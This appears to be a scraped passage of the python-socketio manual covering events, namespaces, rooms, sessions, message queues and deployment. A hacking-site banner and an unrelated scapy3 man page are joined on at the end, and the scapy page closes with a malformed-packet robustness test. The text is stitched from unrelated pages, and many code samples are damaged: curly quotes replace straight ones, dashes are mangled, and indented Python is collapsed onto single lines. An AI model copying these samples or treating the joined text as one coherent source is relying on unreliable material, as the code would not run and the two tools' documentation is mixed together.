The single argument provided to the method is the data that is passed on to the server. The data can be of type str, bytes, dict, list or tuple. When sending a tuple, the elements in it need to be of any of the other four allowed types. The elements of the tuple will be passed as multiple arguments to the server-side event handler function.

The emit() method can be invoked inside an event handler as a response to a server event, or in any other part of the application, including in background tasks.

Event Callbacks

When a server emits an event to a client, it can optionally provide a callback function, to be invoked as a way of acknowledgment that the server has processed the event. While this is entirely managed by the server, the client can provide a list of return values that are to be passed on to the callback function set up by the server. This is achieved simply by returning the desired values from the handler function:

@sio.event def my_event(sid, data): # handle the message return “OK”, 123

Likewise, the client can request a callback function to be invoked after the server has processed an event. The socketio.Server.emit() method has an optional callback argument that can be set to a callable. If this argument is given, the callable will be invoked after the server has processed the event, and any values returned by the server handler will be passed as arguments to this function.

Namespaces

The Socket.IO protocol supports multiple logical connections, all multiplexed on the same physical connection. Clients can open multiple connections by specifying a different namespace on each. Namespaces use a path syntax starting with a forward slash. A list of namespaces can be given by the client in the connect() call. For example, this example creates two logical connections, the default one plus a second connection under the /chat namespace:

sio.connect(‘http://localhost:5000’, namespaces=[’/chat’])

To define event handlers on a namespace, the namespace argument must be added to the corresponding decorator:

@sio.event(namespace=’/chat’) def my_custom_event(sid, data): pass

@sio.on('connect', namespace='/chat')
def on_connect():
    print("I'm connected to the /chat namespace!")

Likewise, the client can emit an event to the server on a namespace by providing its in the emit() call:

sio.emit(‘my message’, {‘foo’: ‘bar’}, namespace=’/chat’)

If the namespaces argument of the connect() call isn’t given, any namespaces used in event handlers are automatically connected.

Class-Based Namespaces

As an alternative to the decorator-based event handlers, the event handlers that belong to a namespace can be created as methods of a subclass of socketio.ClientNamespace:

class MyCustomNamespace(socketio.ClientNamespace): def on_connect(self): pass

    def on_disconnect(self):
        pass

    def on_my_event(self, data):
        self.emit('my_response', data)

sio.register_namespace(MyCustomNamespace('/chat'))

For asyncio based servers, namespaces must inherit from socketio.AsyncClientNamespace, and can define event handlers as coroutines if desired:

class MyCustomNamespace(socketio.AsyncClientNamespace): def on_connect(self): pass

    def on_disconnect(self):
        pass

    async def on_my_event(self, data):
        await self.emit('my_response', data)

sio.register_namespace(MyCustomNamespace('/chat'))

When class-based namespaces are used, any events received by the client are dispatched to a method named as the event name with the on_ prefix. For example, event my_event will be handled by a method named on_my_event. If an event is received for which there is no corresponding method defined in the namespace class, then the event is ignored. All event names used in class-based namespaces must use characters that are legal in method names.

As a convenience to methods defined in a class-based namespace, the namespace instance includes versions of several of the methods in the socketio.Client and socketio.AsyncClient classes that default to the proper namespace when the namespace argument is not given.

In the case that an event has a handler in a class-based namespace, and also a decorator-based function handler, only the standalone function handler is invoked.

Disconnecting from the Server

At any time the client can request to be disconnected from the server by invoking the disconnect() method:

sio.disconnect()

For the asyncio client this is a coroutine:

await sio.disconnect()

Managing Background Tasks

When a client connection to the server is established, a few background tasks will be spawned to keep the connection alive and handle incoming events. The application running on the main thread is free to do any work, as this is not going to prevent the functioning of the Socket.IO client.

If the application does not have anything to do in the main thread and just wants to wait until the connection with the server ends, it can call the wait() method:

sio.wait()

Or in the asyncio version:

await sio.wait()

For the convenience of the application, a helper function is provided to start a custom background task:

def my_background_task(my_argument): # do some background work here! pass

task = sio.start_background_task(my_background_task, 123)

The arguments passed to this method are the background function and any positional or keyword arguments to invoke the function with.

Here is the asyncio version:

async def my_background_task(my_argument): # do some background work here! pass

task = sio.start_background_task(my_background_task, 123)

Note that this function is not a coroutine, since it does not wait for the background function to end. The background function must be a coroutine.

The sleep() method is a second convenience function that is provided for the benefit of applications working with background tasks of their own:

sio.sleep(2)

Or for asyncio:

await sio.sleep(2)

The single argument passed to the method is the number of seconds to sleep for.

Debugging and Troubleshooting

To help you debug issues, the client can be configured to output logs to the terminal:

import socketio

# standard Python
sio = socketio.Client(logger=True, engineio_logger=True)

# asyncio
sio = socketio.AsyncClient(logger=True, engineio_logger=True)

The logger argument controls logging related to the Socket.IO protocol, while engineio_logger controls logs that originate in the low-level Engine.IO transport. These arguments can be set to True to output logs to stderr, or to an object compatible with Python’s logging package where the logs should be emitted to. A value of False disables logging.

Logging can help identify the cause of connection problems, unexpected disconnections and other issues.

THE SOCKET.IO SERVER

This package contains two Socket.IO servers:

  • The socketio.Server() class creates a server compatible with the Python standard library.

  • The socketio.AsyncServer() class creates a server compatible with the asyncio package.

The methods in the two servers are the same, with the only difference that in the asyncio server most methods are implemented as coroutines.

Installation

To install the Socket.IO server along with its dependencies, use the following command:

pip install python-socketio

In addition to the server, you will need to select an asynchronous framework or server to use along with it. The list of supported packages is covered in the Deployment Strategies section.

Creating a Server Instance

A Socket.IO server is an instance of class socketio.Server. This instance can be transformed into a standard WSGI application by wrapping it with the socketio.WSGIApp class:

import socketio

# create a Socket.IO server
sio = socketio.Server()

# wrap with a WSGI application
app = socketio.WSGIApp(sio)

For asyncio based servers, the socketio.AsyncServer class provides the same functionality, but in a coroutine friendly format. If desired, The socketio.ASGIApp class can transform the server into a standard ASGI application:

create a Socket.IO server

sio = socketio.AsyncServer()

# wrap with ASGI application
app = socketio.ASGIApp(sio)

These two wrappers can also act as middlewares, forwarding any traffic that is not intended to the Socket.IO server to another application. This allows Socket.IO servers to integrate easily into existing WSGI or ASGI applications:

from wsgi import app # a Flask, Django, etc. application app = socketio.WSGIApp(sio, app)

Serving Static Files

The Socket.IO server can be configured to serve static files to clients. This is particularly useful to deliver HTML, CSS and JavaScript files to clients when this package is used without a companion web framework.

Static files are configured with a Python dictionary in which each key/value pair is a static file mapping rule. In its simplest form, this dictionary has one or more static file URLs as keys, and the corresponding files in the server as values:

static_files = { ‘/’: ’latency.html’, ‘/static/socket.io.js’: ‘static/socket.io.js’, ‘/static/style.css’: ‘static/style.css’, }

With this example configuration, when the server receives a request for / (the root URL) it will return the contents of the file latency.html in the current directory, and will assign a content type based on the file extension, in this case text/html.

Files with the .html, .css, .js, .json, .jpg, .png, .gif and .txt file extensions are automatically recognized and assigned the correct content type. For files with other file extensions or with no file extension, the application/octet-stream content type is used as a default.

If desired, an explicit content type for a static file can be given as follows:

static_files = { ‘/’: {‘filename’: ’latency.html’, ‘content_type’: ’text/plain’}, }

It is also possible to configure an entire directory in a single rule, so that all the files in it are served as static files:

static_files = { ‘/static’: ‘./public’, }

In this example any files with URLs starting with /static will be served directly from the public folder in the current directory, so for example, the URL /static/index.html will return local file ./public/index.html and the URL /static/css/styles.css will return local file ./public/css/styles.css.

If a URL that ends in a / is requested, then a default filename of index.html is appended to it. In the previous example, a request for the /static/ URL would return local file ./public/index.html. The default filename to serve for slash-ending URLs can be set in the static files dictionary with an empty key:

static_files = { ‘/static’: ‘./public’, ‘’: ‘image.gif’, }

With this configuration, a request for /static/ would return local file ./public/image.gif. A non-standard content type can also be specified if needed:

static_files = { ‘/static’: ‘./public’, ‘’: {‘filename’: ‘image.gif’, ‘content_type’: ’text/plain’}, }

The static file configuration dictionary is given as the static_files argument to the socketio.WSGIApp or socketio.ASGIApp classes:

for standard WSGI applications

sio = socketio.Server()
app = socketio.WSGIApp(sio, static_files=static_files)

# for asyncio-based ASGI applications
sio = socketio.AsyncServer()
app = socketio.ASGIApp(sio, static_files=static_files)

The routing precedence in these two classes is as follows:

  • First, the path is checked against the Socket.IO endpoint.

  • Next, the path is checked against the static file configuration, if present.

  • If the path did not match the Socket.IO endpoint or any static file, control is passed to the secondary application if configured, else a 404 error is returned.

Note: static file serving is intended for development use only, and as such it lacks important features such as caching. Do not use in a production environment.

Defining Event Handlers

The Socket.IO protocol is event based. When a client wants to communicate with the server it emits an event. Each event has a name, and a list of arguments. The server registers event handler functions with the socketio.Server.event() or socketio.Server.on() decorators:

@sio.event def my_event(sid, data): pass

@sio.on('my custom event')
def another_event(sid, data):
    pass

In the first example the event name is obtained from the name of the handler function. The second example is slightly more verbose, but it allows the event name to be different than the function name or to include characters that are illegal in function names, such as spaces.

For asyncio servers, event handlers can optionally be given as coroutines:

@sio.event async def my_event(sid, data): pass

The sid argument is the Socket.IO session id, a unique identifier of each client connection. All the events sent by a given client will have the same sid value.

Catch-All Event Handlers

A “catch-all” event handler is invoked for any events that do not have an event handler. You can define a catch-all handler using ’*’ as event name:

@sio.on(’*’) def catch_all(event, sid, data): pass

Asyncio servers can also use a coroutine:

@sio.on(’*’) async def catch_all(event, sid, data): pass

A catch-all event handler receives the event name as a first argument. The remaining arguments are the same as for a regular event handler.

The connect and disconnect events have to be defined explicitly and are not invoked on a catch-all event handler.

Connect and Disconnect Event Handlers

The connect and disconnect events are special; they are invoked automatically when a client connects or disconnects from the server:

@sio.event def connect(sid, environ, auth): print(‘connect ‘, sid)

@sio.event
def disconnect(sid):
    print('disconnect ', sid)

The connect event is an ideal place to perform user authentication, and any necessary mapping between user entities in the application and the sid that was assigned to the client. The environ argument is a dictionary in standard WSGI format containing the request information, including HTTP headers. The auth argument contains any authentication details passed by the client, or None if the client did not pass anything. After inspecting the request, the connect event handler can return False to reject the connection with the client.

Sometimes it is useful to pass data back to the client being rejected. In that case instead of returning False socketio.exceptions.ConnectionRefusedError can be raised, and all of its arguments will be sent to the client with the rejection message:

@sio.event def connect(sid, environ): raise ConnectionRefusedError(‘authentication failed’)

Emitting Events

Socket.IO is a bidirectional protocol, so at any time the server can send an event to its connected clients. The socketio.Server.emit() method is used for this task:

sio.emit(‘my event’, {‘data’: ‘foobar’})

Sometimes the server may want to send an event just to a particular client. This can be achieved by adding a room argument to the emit call:

sio.emit(‘my event’, {‘data’: ‘foobar’}, room=user_sid)

The socketio.Server.emit() method takes an event name, a message payload of type str, bytes, list, dict or tuple, and the recipient room. When sending a tuple, the elements in it need to be of any of the other four allowed types. The elements of the tuple will be passed as multiple arguments to the client-side event handler function. The room argument is used to identify the client that should receive the event, and is set to the sid value assigned to that client’s connection with the server. When omitted, the event is broadcasted to all connected clients.

Event Callbacks

When a client sends an event to the server, it can optionally provide a callback function, to be invoked as a way of acknowledgment that the server has processed the event. While this is entirely managed by the client, the server can provide a list of values that are to be passed on to the callback function, simply by returning them from the handler function:

@sio.event def my_event(sid, data): # handle the message return “OK”, 123

Likewise, the server can request a callback function to be invoked after a client has processed an event. The socketio.Server.emit() method has an optional callback argument that can be set to a callable. If this argument is given, the callable will be invoked after the client has processed the event, and any values returned by the client will be passed as arguments to this function. Using callback functions when broadcasting to multiple clients is not recommended, as the callback function will be invoked once for each client that received the message.

Namespaces

The Socket.IO protocol supports multiple logical connections, all multiplexed on the same physical connection. Clients can open multiple connections by specifying a different namespace on each. A namespace is given by the client as a pathname following the hostname and port. For example, connecting to http://example.com:8000/chat would open a connection to the namespace /chat.

Each namespace is handled independently from the others, with separate session IDs (sids), event handlers and rooms. It is important that applications that use multiple namespaces specify the correct namespace when setting up their event handlers and rooms, using the optional namespace argument available in all the methods in the socketio.Server class:

@sio.event(namespace=’/chat’) def my_custom_event(sid, data): pass

@sio.on('my custom event', namespace='/chat')
def my_custom_event(sid, data):
    pass

When emitting an event, the namespace optional argument is used to specify which namespace to send it on. When the namespace argument is omitted, the default Socket.IO namespace, which is named /, is used.

Class-Based Namespaces

As an alternative to the decorator-based event handlers, the event handlers that belong to a namespace can be created as methods of a subclass of socketio.Namespace:

class MyCustomNamespace(socketio.Namespace): def on_connect(self, sid, environ): pass

    def on_disconnect(self, sid):
        pass

    def on_my_event(self, sid, data):
        self.emit('my_response', data)

sio.register_namespace(MyCustomNamespace('/test'))

For asyncio based servers, namespaces must inherit from socketio.AsyncNamespace, and can define event handlers as coroutines if desired:

class MyCustomNamespace(socketio.AsyncNamespace): def on_connect(self, sid, environ): pass

    def on_disconnect(self, sid):
        pass

    async def on_my_event(self, sid, data):
        await self.emit('my_response', data)

sio.register_namespace(MyCustomNamespace('/test'))

When class-based namespaces are used, any events received by the server are dispatched to a method named as the event name with the on_ prefix. For example, event my_event will be handled by a method named on_my_event. If an event is received for which there is no corresponding method defined in the namespace class, then the event is ignored. All event names used in class-based namespaces must use characters that are legal in method names.

As a convenience to methods defined in a class-based namespace, the namespace instance includes versions of several of the methods in the socketio.Server and socketio.AsyncServer classes that default to the proper namespace when the namespace argument is not given.

In the case that an event has a handler in a class-based namespace, and also a decorator-based function handler, only the standalone function handler is invoked.

It is important to note that class-based namespaces are singletons. This means that a single instance of a namespace class is used for all clients, and consequently, a namespace instance cannot be used to store client specific information.

Rooms

To make it easy for the server to emit events to groups of related clients, the application can put its clients into “rooms”, and then address messages to these rooms.

In the previous section the room argument of the socketio.SocketIO.emit() method was used to designate a specific client as the recipient of the event. This is because upon connection, a personal room for each client is created and named with the sid assigned to the connection. The application is then free to create additional rooms and manage which clients are in them using the socketio.Server.enter_room() and socketio.Server.leave_room() methods. Clients can be in as many rooms as needed and can be moved between rooms as often as necessary.

@sio.event def begin_chat(sid): sio.enter_room(sid, ‘chat_users’)

@sio.event
def exit_chat(sid):
    sio.leave_room(sid, 'chat_users')

In chat applications it is often desired that an event is broadcasted to all the members of the room except one, which is the originator of the event such as a chat message. The socketio.Server.emit() method provides an optional skip_sid argument to indicate a client that should be skipped during the broadcast.

@sio.event def my_message(sid, data): sio.emit(‘my reply’, data, room=‘chat_users’, skip_sid=sid)

User Sessions

The server can maintain application-specific information in a user session dedicated to each connected client. Applications can use the user session to write any details about the user that need to be preserved throughout the life of the connection, such as usernames or user ids.

The save_session() and get_session() methods are used to store and retrieve information in the user session:

@sio.event def connect(sid, environ): username = authenticate_user(environ) sio.save_session(sid, {‘username’: username})

@sio.event
def message(sid, data):
    session = sio.get_session(sid)
    print('message from ', session['username'])

For the asyncio server, these methods are coroutines:

@sio.event async def connect(sid, environ): username = authenticate_user(environ) await sio.save_session(sid, {‘username’: username})

@sio.event
async def message(sid, data):
    session = await sio.get_session(sid)
    print('message from ', session['username'])

The session can also be manipulated with the session() context manager:

@sio.event def connect(sid, environ): username = authenticate_user(environ) with sio.session(sid) as session: session[‘username’] = username

@sio.event
def message(sid, data):
    with sio.session(sid) as session:
        print('message from ', session['username'])

For the asyncio server, an asynchronous context manager is used:

@sio.event def connect(sid, environ): username = authenticate_user(environ) async with sio.session(sid) as session: session[‘username’] = username

@sio.event
def message(sid, data):
    async with sio.session(sid) as session:
        print('message from ', session['username'])

The get_session(), save_session() and session() methods take an optional namespace argument. If this argument isn’t provided, the session is attached to the default namespace.

Note: the contents of the user session are destroyed when the client disconnects. In particular, user session contents are not preserved when a client reconnects after an unexpected disconnection from the server.

Using a Message Queue

When working with distributed applications, it is often necessary to access the functionality of the Socket.IO from multiple processes. There are two specific use cases:

  • Applications that use work queues such as Celery may need to emit an event to a client once a background job completes. The most convenient place to carry out this task is the worker process that handled this job.

  • Highly available applications may want to use horizontal scaling of the Socket.IO server to be able to handle very large number of concurrent clients.

As a solution to the above problems, the Socket.IO server can be configured to connect to a message queue such as Redis or RabbitMQ, to communicate with other related Socket.IO servers or auxiliary workers.

Redis

To use a Redis message queue, a Python Redis client must be installed:

socketio.Server class

pip install redis

# socketio.AsyncServer class
pip install aioredis

The Redis queue is configured through the socketio.RedisManager and socketio.AsyncRedisManager classes. These classes connect directly to the Redis store and use the queue’s pub/sub functionality:

socketio.Server class

mgr = socketio.RedisManager('redis://')
sio = socketio.Server(client_manager=mgr)

# socketio.AsyncServer class
mgr = socketio.AsyncRedisManager('redis://')
sio = socketio.AsyncServer(client_manager=mgr)

The client_manager argument instructs the server to connect to the given message queue, and to coordinate with other processes connected to the queue.

Kombu

Kombu is a Python package that provides access to RabbitMQ and many other message queues. It can be installed with pip:

pip install kombu

To use RabbitMQ or other AMQP protocol compatible queues, that is the only required dependency. But for other message queues, Kombu may require additional packages. For example, to use a Redis queue via Kombu, the Python package for Redis needs to be installed as well:

pip install redis

The queue is configured through the socketio.KombuManager:

mgr = socketio.KombuManager(‘amqp://’) sio = socketio.Server(client_manager=mgr)

The connection URL passed to the KombuManager constructor is passed directly to Kombu’s Connection object, so the Kombu documentation should be consulted for information on how to build the correct URL for a given message queue.

Note that Kombu currently does not support asyncio, so it cannot be used with the socketio.AsyncServer class.

Kafka

Apache Kafka is supported through the kafka-python package:

pip install kafka-python

Access to Kafka is configured through the socketio.KafkaManager class:

mgr = socketio.KafkaManager(‘kafka://’) sio = socketio.Server(client_manager=mgr)

Note that Kafka currently does not support asyncio, so it cannot be used with the socketio.AsyncServer class.

AioPika

A RabbitMQ message queue is supported in asyncio applications through the AioPika package:: You need to install aio_pika with pip:

pip install aio_pika

The RabbitMQ queue is configured through the socketio.AsyncAioPikaManager class:

mgr = socketio.AsyncAioPikaManager(‘amqp://’) sio = socketio.AsyncServer(client_manager=mgr)

Emitting from external processes

To have a process other than a server connect to the queue to emit a message, the same client manager classes can be used as standalone objects. In this case, the write_only argument should be set to True to disable the creation of a listening thread, which only makes sense in a server. For example:

connect to the redis queue as an external process

external_sio = socketio.RedisManager('redis://', write_only=True)

# emit an event
external_sio.emit('my event', data={'foo': 'bar'}, room='my room')

A limitation of the write-only client manager object is that it cannot receive callbacks when emitting. When the external process needs to receive callbacks, using a client to connect to the server with read and write support is a better option than a write-only client manager.

Debugging and Troubleshooting

To help you debug issues, the server can be configured to output logs to the terminal:

import socketio

# standard Python
sio = socketio.Server(logger=True, engineio_logger=True)

# asyncio
sio = socketio.AsyncServer(logger=True, engineio_logger=True)

The logger argument controls logging related to the Socket.IO protocol, while engineio_logger controls logs that originate in the low-level Engine.IO transport. These arguments can be set to True to output logs to stderr, or to an object compatible with Python’s logging package where the logs should be emitted to. A value of False disables logging.

Logging can help identify the cause of connection problems, 400 responses, bad performance and other issues.

Deployment Strategies

The following sections describe a variety of deployment strategies for Socket.IO servers.

Uvicorn, Daphne, and other ASGI servers

The socketio.ASGIApp class is an ASGI compatible application that can forward Socket.IO traffic to an socketio.AsyncServer instance:

sio = socketio.AsyncServer(async_mode=‘asgi’) app = socketio.ASGIApp(sio)

If desired, the socketio.ASGIApp class can forward any traffic that is not Socket.IO to another ASGI application, making it possible to deploy a standard ASGI web application and the Socket.IO server as a bundle:

sio = socketio.AsyncServer(async_mode=‘asgi’) app = socketio.ASGIApp(sio, other_app)

The ASGIApp instance is a fully complaint ASGI instance that can be deployed with an ASGI compatible web server.

Aiohttp

Aiohttp is a framework with support for HTTP and WebSocket, based on asyncio. Support for this framework is limited to Python 3.5 and newer.

Instances of class socketio.AsyncServer will automatically use aiohttp for asynchronous operations if the library is installed. To request its use explicitly, the async_mode option can be given in the constructor:

sio = socketio.AsyncServer(async_mode=‘aiohttp’)

A server configured for aiohttp must be attached to an existing application:

app = web.Application() sio.attach(app)

The aiohttp application can define regular routes that will coexist with the Socket.IO server. A typical pattern is to add routes that serve a client application and any associated static files.

The aiohttp application is then executed in the usual manner:

if name == ‘main’: web.run_app(app)

Tornado

Tornado is a web framework with support for HTTP and WebSocket. Support for this framework requires Python 3.5 and newer. Only Tornado version 5 and newer are supported, thanks to its tight integration with asyncio.

Instances of class socketio.AsyncServer will automatically use tornado for asynchronous operations if the library is installed. To request its use explicitly, the async_mode option can be given in the constructor:

sio = socketio.AsyncServer(async_mode=‘tornado’)

A server configured for tornado must include a request handler for Socket.IO:

app = tornado.web.Application( [ (r"/socket.io/", socketio.get_tornado_handler(sio)), ], # … other application options )

The tornado application can define other routes that will coexist with the Socket.IO server. A typical pattern is to add routes that serve a client application and any associated static files.

The tornado application is then executed in the usual manner:

app.listen(port) tornado.ioloop.IOLoop.current().start()

Sanic

Note: Due to some backward incompatible changes introduced in recent versions of Sanic, it is currently recommended that a Sanic application is deployed with the ASGI integration instead.

Sanic is a very efficient asynchronous web server for Python 3.5 and newer.

Instances of class socketio.AsyncServer will automatically use Sanic for asynchronous operations if the framework is installed. To request its use explicitly, the async_mode option can be given in the constructor:

sio = socketio.AsyncServer(async_mode=‘sanic’)

A server configured for aiohttp must be attached to an existing application:

app = Sanic() sio.attach(app)

The Sanic application can define regular routes that will coexist with the Socket.IO server. A typical pattern is to add routes that serve a client application and any associated static files.

The Sanic application is then executed in the usual manner:

if name == ‘main’: app.run()

It has been reported that the CORS support provided by the Sanic extension sanic-cors is incompatible with this package’s own support for this protocol. To disable CORS support in this package and let Sanic take full control, initialize the server as follows:

sio = socketio.AsyncServer(async_mode=‘sanic’, cors_allowed_origins=[])

On the Sanic side you will need to enable the CORS_SUPPORTS_CREDENTIALS setting in addition to any other configuration that you use:

app.config[‘CORS_SUPPORTS_CREDENTIALS’] = True

Eventlet

Eventlet is a high performance concurrent networking library for Python 2 and 3 that uses coroutines, enabling code to be written in the same style used with the blocking standard library functions. An Socket.IO server deployed with eventlet has access to the long-polling and WebSocket transports.

Instances of class socketio.Server will automatically use eventlet for asynchronous operations if the library is installed. To request its use explicitly, the async_mode option can be given in the constructor:

sio = socketio.Server(async_mode=‘eventlet’)

A server configured for eventlet is deployed as a regular WSGI application using the provided socketio.WSGIApp:

app = socketio.WSGIApp(sio) import eventlet eventlet.wsgi.server(eventlet.listen((’’, 8000)), app)

Eventlet with Gunicorn

An alternative to running the eventlet WSGI server as above is to use gunicorn, a fully featured pure Python web server. The command to launch the application under gunicorn is shown below:

$ gunicorn -k eventlet -w 1 module:app

Due to limitations in its load balancing algorithm, gunicorn can only be used with one worker process, so the -w option cannot be set to a value higher than 1. A single eventlet worker can handle a large number of concurrent clients, each handled by a greenlet.

Eventlet provides a monkey_patch() function that replaces all the blocking functions in the standard library with equivalent asynchronous versions. While python-socketio does not require monkey patching, other libraries such as database drivers are likely to require it.

Gevent

Gevent is another asynchronous framework based on coroutines, very similar to eventlet. An Socket.IO server deployed with gevent has access to the long-polling transport. If project gevent-websocket is installed, the WebSocket transport is also available.

Instances of class socketio.Server will automatically use gevent for asynchronous operations if the library is installed and eventlet is not installed. To request gevent to be selected explicitly, the async_mode option can be given in the constructor:

sio = socketio.Server(async_mode=‘gevent’)

A server configured for gevent is deployed as a regular WSGI application using the provided socketio.WSGIApp:

app = socketio.WSGIApp(sio) from gevent import pywsgi pywsgi.WSGIServer((’’, 8000), app).serve_forever()

If the WebSocket transport is installed, then the server must be started as follows:

from gevent import pywsgi from geventwebsocket.handler import WebSocketHandler app = socketio.WSGIApp(sio) pywsgi.WSGIServer((’’, 8000), app, handler_class=WebSocketHandler).serve_forever()

Gevent with Gunicorn

An alternative to running the gevent WSGI server as above is to use gunicorn, a fully featured pure Python web server. The command to launch the application under gunicorn is shown below:

$ gunicorn -k gevent -w 1 module:app

Or to include WebSocket:

$ gunicorn -k geventwebsocket.gunicorn.workers.GeventWebSocketWorker -w 1 module: app

Same as with eventlet, due to limitations in its load balancing algorithm, gunicorn can only be used with one worker process, so the -w option cannot be higher than 1. A single gevent worker can handle a large number of concurrent clients through the use of greenlets.

Gevent provides a monkey_patch() function that replaces all the blocking functions in the standard library with equivalent asynchronous versions. While python-socketio does not require monkey patching, other libraries such as database drivers are likely to require it.

uWSGI

When using the uWSGI server in combination with gevent, the Socket.IO server can take advantage of uWSGI’s native WebSocket support.

Instances of class socketio.Server will automatically use this option for asynchronous operations if both gevent and uWSGI are installed and eventlet is not installed. To request this asynchronous mode explicitly, the async_mode option can be given in the constructor:

gevent with uWSGI

sio = socketio.Server(async_mode='gevent_uwsgi')

A complete explanation of the configuration and usage of the uWSGI server is beyond the scope of this documentation. The uWSGI server is a fairly complex package that provides a large and comprehensive set of options. It must be compiled with WebSocket and SSL support for the WebSocket transport to be available. As way of an introduction, the following command starts a uWSGI server for the latency.py example on port 5000:

$ uwsgi –http :5000 –gevent 1000 –http-websockets –master –wsgi-file latency.py –callable app

Standard Threads

While not comparable to eventlet and gevent in terms of performance, the Socket.IO server can also be configured to work with multi-threaded web servers that use standard Python threads. This is an ideal setup to use with development servers such as Werkzeug.

Instances of class socketio.Server will automatically use the threading mode if neither eventlet nor gevent are installed. To request the threading mode explicitly, the async_mode option can be given in the constructor:

sio = socketio.Server(async_mode=‘threading’)

A server configured for threading is deployed as a regular web application, using any WSGI complaint multi-threaded server. The example below deploys an Socket.IO application combined with a Flask web application, using Flask’s development web server based on Werkzeug:

sio = socketio.Server(async_mode=‘threading’) app = Flask(name) app.wsgi_app = socketio.WSGIApp(sio, app.wsgi_app)

# ... Socket.IO and Flask handler functions ...

if __name__ == '__main__':
    app.run()

The example that follows shows how to start an Socket.IO application using Gunicorn’s threaded worker class:

$ gunicorn -w 1 –threads 100 module:app

With the above configuration the server will be able to handle up to 100 concurrent clients.

When using standard threads, WebSocket is supported through the simple-websocket package, which must be installed separately. This package provides a multi-threaded WebSocket server that is compatible with Werkzeug and Gunicorn’s threaded worker. Other multi-threaded web servers are not supported and will not enable the WebSocket transport.

Scalability Notes

Socket.IO is a stateful protocol, which makes horizontal scaling more difficult. To deploy a cluster of Socket.IO processes hosted on one or multiple servers, the following conditions must be met:

  • Each Socket.IO process must be able to handle multiple requests concurrently. This is required because long-polling clients send two requests in parallel. Worker processes that can only handle one request at a time are not supported.

  • The load balancer must be configured to always forward requests from a client to the same worker process. Load balancers call this sticky sessions, or session affinity.

  • The worker processes need to communicate with each other to coordinate complex operations such as broadcasts. This is done through a configured message queue. See the section on using message queues for details.

Cross-Origin Controls

For security reasons, this server enforces a same-origin policy by default. In practical terms, this means the following:

  • If an incoming HTTP or WebSocket request includes the Origin header, this header must match the scheme and host of the connection URL. In case of a mismatch, a 400 status code response is returned and the connection is rejected.

  • No restrictions are imposed on incoming requests that do not include the Origin header.

If necessary, the cors_allowed_origins option can be used to allow other origins. This argument can be set to a string to set a single allowed origin, or to a list to allow multiple origins. A special value of ’*’ can be used to instruct the server to allow all origins, but this should be done with care, as this could make the server vulnerable to Cross-Site Request Forgery (CSRF) attacks.

API REFERENCE

Client class

AsyncClient class

Server class

AsyncServer class

ConnectionRefusedError class

WSGIApp class

ASGIApp class

Middleware class (deprecated)

ClientNamespace class

Namespace class

AsyncClientNamespace class

AsyncNamespace class

BaseManager class

PubSubManager class

KombuManager class

RedisManager class

KafkaManager class

AsyncManager class

AsyncRedisManager class

AsyncAioPikaManager class

  • Index

  • Module Index

  • Search Page

AUTHOR

Miguel Grinberg

COPYRIGHT

2018, Miguel Grinberg

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

497 - Linux cli command scapy3

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command scapy3 and provides detailed information about the command scapy3, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the scapy3.

NAME 🖥️ scapy3 🖥️

Interactive packet manipulation tool

SYNOPSIS

scapy [options]

DESCRIPTION

This manual page documents briefly the Scapy tool.

Scapy is a powerful interactive packet manipulation tool, packet generator, network scanner, network discovery, packet sniffer, etc. It can for the moment replace hping, parts of nmap, arpspoof, arp-sk, arping, tcpdump, tshark, p0f, …

Scapy uses the Python interpreter as a command board. That means that you can use directly Python language (assign variables, use loops, define functions, etc.) If you give a file a parameter when you run Scapy, your session (variables, functions, instances, …) will be saved when you leave the interpreter and restored the next time you launch Scapy.

The idea is simple. Those kinds of tools do two things : sending packets and receiving answers. That’s what Scapy does : you define a set of packets, it sends them, receives answers, matches requests with answers and returns a list of packet couples (request, answer) and a list of unmatched packets. This has the big advantage over tools like nmap or hping that an answer is not reduced to (open/closed/filtered), but is the whole packet.

On top of this can be used to build more high-level functions, for example, one that does traceroutes and give as a result only the start TTL of the request and the source IP of the answer. One that pings a whole network and gives the list of machines answering. One that does a portscan and returns a LaTeX report.

OPTIONS

Options for Scapy are:

-h
display usage

-H
header-less mode, also reduces verbosity.

-d
increase log verbosity. Can be used many times.

-s FILE
use FILE to save/load session values (variables, functions, instances, …)

-p PRESTART_FILE
use PRESTART_FILE instead of $HOME/.config/scapy/prestart.py as pre-startup file

-P
do not run prestart file

-c STARTUP_FILE
use STARTUP_FILE instead of $HOME/.config/scapy/startup.py as startup file

-C
do not run startup file

COMMANDS

Only the vital commands to begin are listed here for the moment.

ls()
lists supported protocol layers. If a protocol layer is given as parameter, lists its fields and types of fields. If a string is given as parameter, it is used to filter the layers.

lsc()
lists scapy’s main user commands.

conf
this object contains the configuration.

FILES

$HOME/.config/scapy/prestart.py This file is run before Scapy core is loaded. Only the conf object is available. This file can be used to configure the CLI, configure parameters such as the conf.load_layers list to choose which layers will be loaded, or change the logging level (for instance):

conf.interactive_shell = "bpython"
log_loading.setLevel(logging.WARNING)
conf.load_layers.remove("bluetooth")
conf.load_layers.append("new_layer")

$HOME/.config/scapy/startup.py This file is run after Scapy is loaded. It can be used to configure more of Scapy behaviors, like un-registering layers:

conf.prog.pdfreader = "xpdf"
split_layers(UDP,DNS)

EXAMPLES

More verbose examples are available in the documentation at https://scapy.readthedocs.io/. Just run scapy and try the following commands in the interpreter.

Test the robustness of a network stack with invalid packets:

sr(IP(dst="172.16.1.1", ihl=2, options=["verb$2"], version=3)/ICMP(), timeout=2)

